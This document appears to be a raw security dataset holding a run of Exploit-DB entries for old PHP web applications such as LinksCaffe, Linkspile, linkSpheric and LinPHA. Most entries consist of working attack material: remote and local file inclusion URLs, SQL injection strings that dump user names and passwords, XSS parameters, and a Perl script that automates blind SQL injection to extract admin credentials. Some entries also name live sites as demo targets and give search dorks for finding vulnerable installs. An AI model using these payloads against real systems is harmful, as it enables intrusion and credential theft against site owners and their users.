deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13964
Description: Linker IMG 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-21
Author: Sn!pEr.S!Te Hacker

Exploit:
1 ########################################## 1
0 I'm Sn!pEr.S!Te Hacker member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

# ------------------------------------------------------------
# Remote File Inclusion Vulnerability
# -----------------------------------------------------------

Linker IMG <==1.0 (index.php)

--------------------------------------------------------------
# [+] Author : Sn!pEr.S!Te Hacker
# [+] Email : Sniper-site@HoTmaiL.Com
# [+] Inj3ct0r Team Hacker #
# [+] 21-6-2010
# [+] Script : Image Galleries » Linker IMG
# [+] Version: [1.0]
# [+] Download:http://enproject.codelib.co.kr/down/linker_IMG.zip
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
-=[ exploit ]=-

http://server/Linker IMG/index.php?$lan_dir=[RFI]


http://server/Linker IMG/index.php?Sdb_type=[RFI]

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

=========================| -=[ THE END]=- |=========================
Exploit-DB #30663
Description: Linkliste 1.2 - 'index.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-10-11
Author: iNs

Exploit:
source: https://www.securityfocus.com/bid/26045/info

Linkliste is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Linkliste 1.2 is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/index.php?styl[top]=shell??
Exploit-DB #5377
Description: Links Directory 1.1 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-05
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		      Links Directory 1.1 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 6 April 2008
Script Download: N/A
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Links directorys is vulnerable to a insecure sql query.


SQL Injeciton:
http://site.com/links.php?ax=list&sub=2&cat_id=-1%20UNION%20ALL%20SELECT%201,2,load_file('/home'),4,5,6,7,8,9,10,11,12,13%20FROM%20links/*



NOTE/TIP: 
the above sql injection allows a remote attacker to load a localfile on the vulnerable server.
the hex you see above inside the load_file() function is "/etc/passwd" in plaintext, some permissions are
needed to use this function. this all depends on what mysql user is running.

the admin password is in the config.php file if you can find the complete path then you can use load file to
view the contents of the file and view the admin password.


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		      Links Directory 1.1 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05]
Exploit-DB #3416
Description: Links Management Application 1.0 - 'lcnt' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-05
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Links Management Application V1.0 (lcnt) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.monitor-line.com
#[$$         : $34.99
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   	Links Management Application V1.0 (lcnt) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?a=listing&lcnt=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,0,1,2,3,4,5,6,0,concat(char(117,115,101,114,110,97,109,101,58),uname,char(32,112,97,115,115,58),pass,char(101,110,100,112,97,115,115)),222,11,1111,22,0,22,433,43,123,12%20from%20users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?) pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ / pass:(.*?)endpass/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-05]
Exploit-DB #31795
Description: Links Pile - 'link.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-14
Author: HaCkeR_EgY

Exploit:
source: https://www.securityfocus.com/bid/29223/info

Links Pile is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
Exploit-DB #28442
Description: LinksCaffe 2.0/3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2006-07-25
Author: HoangYenXinhDep

Exploit:
source: https://www.securityfocus.com/bid/19763/info

LinksCaffe is prone to an authentication-bypass vulnerability because of a lack of required authentication on the application's administrative script. An attacker can use administrative functions simply by knowing the script's name and location.

A successful exploit of this issue could allow an attacker to compromise the application, access or modify data, delete site content, or exploit vulnerabilities in the system or underlying database implementation. Other attacks are also possible.

Versions 2.0 and 3.0 are reported vulnerable; other versions may also be affected.

http://www.example.com/[path_to_linksCaffe]/Admin/admin1953.php
Exploit-DB #28268
Description: LinksCaffe 3.0 - 'counter.php?tablewidth' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-25
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/19149/info
 
LinksCaffe is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/linkscaffe/counter.php?tablewidth='%3E[XSS]<p+
Exploit-DB #28267
Description: LinksCaffe 3.0 - 'links.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-07-25
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/19149/info

LinksCaffe is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/linkscaffe/links.php?cat=1&offset=[SQL]
http://www.example.com/linkscaffe/links.php?cat=1&limit=[SQL] 
http://www.example.com/linkscaffe/links.php?action=new&newdays=[SQL] 
http://www.example.com/linkscaffe/links.php?action=deadlink&link_id=[SQL] 
http://www.example.com/linkscaffe/links.php?action=new&newdays=-1+UNION+SELECT+123456/*
Exploit-DB #28269
Description: LinksCaffe 3.0 - 'links.php?newdays' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-25
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/19149/info
  
LinksCaffe is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/linkscaffe/links.php?action=new&newdays=[XSS]
Exploit-DB #28270
Description: LinksCaffe 3.0 - 'menu.inc.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-07-25
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/19149/info
   
LinksCaffe is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/linkscaffe/menu.inc.php?tableborder='%3E[XSS]

http://www.example.com/linkscaffe/menu.inc.php?menucolor='%3E[XSS]

http://www.example.com/linkscaffe/menu.inc.php?textcolor='%3E[XSS]

http://www.example.com/linkscaffe/menu.inc.php?bodycolor='%3E[XSS]
Exploit-DB #3923
Description: linksnet newsfeed 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-14
Author: ThE TiGeR

Exploit:
#Linksnet Newsfeed =>1.0 Remote file inclusion

#Download script : http://www.linksnet.de/mat/Linksnet_Newsfeed_1_0.zip

#Thanks Str0ke

#Exploit :

#http://victime.com/[Linksnet_Newsfeed_1_0_path]/linksnet_newsfeed/linksnet_linkslog_rss.php?dirpath_linksnet_newsfeed= shetll.txt?

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-14]
Exploit-DB #9316
Description: linkSpheric 0.74b6 - 'listID' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-30
Author: NoGe

Exploit:
===============================================================================================


  [o] linkSpheric 0.74 Beta 6 SQL Inejction Vulnerability

       Software : linkSpheric version 0.74 Beta 6
       Vendor   : http://dataspheric.com/
       Download : http://sourceforge.net/projects/linkspheric/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


===============================================================================================


  [o] Vulnerable file

        viewListing.php



  [o] Exploit

       http://localhost/[path]/viewListing.php?listID=[SQL]



  [o] Proof of concept

       http://dataspheric.com/directory/viewListing.php?listID=-52+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,group_concat(userName,0x3a,password),21,22,23,24,25,26,27,28+from+users--
       http://pcmsite.net/links/viewListing.php?listID=-5+union+select+1,2,3,4,5,6,7,8,group_concat(userName,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+users--



  [o] Dork

       "Powered by linkSpheric"


===============================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

        
===============================================================================================

# milw0rm.com [2009-07-30]
Exploit-DB #32217
Description: Linkspider 1.08 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-08-08
Author: Rohit Bansal

Exploit:
source: https://www.securityfocus.com/bid/30632/info

Linkspider is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Linkspider 1.08 is vulnerable; other versions may be affected as well. 

http://www.example.com/links.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com
http://www.example.com/links.inc.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com
Exploit-DB #5611
Description: Linkspile - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-13
Author: HaCkeR_EgY

Exploit:
##########################################################
#          Remote SQL Injection Vulnerabilities          #
#                 Linkspile  [ link.php ]                #
##########################################################
 
 
## Author : HaCkeR_EgY
 
## C0NTACT : hacker_egy@hotmail.com
 
## H^OME : www.PAL-HaCkeR.com   &  ATSDP.COM
 
## Script Name : Linkspile
 
## Download : http://www.linkspile.com
 
## Price :  $399.00  =======>  Buy iT : http://www.cmsnx.com/psf/order.php?id=10
###########################################################################
###########################################################################
 
## D0rk : Powered By linkspile
 
 
## ExPlo!T :
 
=====>> http://www.example.com/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
 
 
## L!ve Dem0 (Demo has changed the links.php filename):
 
 
======>>http://www.linkspile.com/linking.page.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
 
 
 
 
 
################################################################################

[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : Mr.SQL , Mohamed el Arab ,F!resell, DaRk MaStEr , H-T Team , Stack-Terrorist
 
#################################################################################

# milw0rm.com [2008-05-13]
Exploit-DB #10450
Description: Linkster - PHP/MySQL SQL Injection
Type: webapps
Platform: php
Date: 2009-12-15
Author: Angela Zhang

Exploit:
(o)=====================================================================================(o)

         -:-    Linkster - a PHP/MySQL link indexing script  SQL Injection Vulnerability    -:-


                Vendor   : http://gliebster.com
                Author    : Angela Zhang
                Contact  : mizz_4ng3l@yahoo.com
                Date        :   15 - December - 2009

(o)======================================================================================(o)


Dork   :
   
       Powered by Linkster


Vulnerabilities   :

      http://server/path/linkster.php?CID=6+AND+1=2+UNION+SELECT+1,2,3,4,5,6,version(),8--

(o)===========================================================================================(o)

Greetz   :   -:-  SkyCreW  -:-

     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   mywisdom , str0ke


(o)===========================================================================================(o)
Exploit-DB #27195
Description: LinPHA 0.9.x/1.0 - 'forth_stage_install.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-02-11
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16592/info
   
LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.
   
This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.
   
Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.

The following HTTP POST example was provided for the file inclusion issues:

POST [path]install/forth_stage_install.php HTTP/1.1\r\n";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded 
Content-Length: [data_length]
User-Agent: GameBoy, Powered by Nintendo
Connection: Close

language=/../../../../../../../../test
Exploit-DB #27193
Description: LinPHA 0.9.x/1.0 - 'install.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-02-11
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16592/info
 
LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.
 
This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.
 
Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.

http://www.example.com/[path]/install/install.php?language=/../../../../../../../test
Exploit-DB #27192
Description: LinPHA 0.9.x/1.0 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-02-11
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16592/info

LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.

This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.

Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.

http://www.example.com/[host]/docs/index.php?lang=/../../../../../../../../../../test
Exploit-DB #27194
Description: LinPHA 0.9.x/1.0 - 'sec_stage_install.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-02-11
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16592/info
  
LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.
  
This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.
  
Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.

http://www.example.com/[path]/install/sec_stage_install.php?whatlang=1&language=/../../../../../../../test
http://[target]/[path]/install/sec_stage_install.php?language=/../../../../../../../test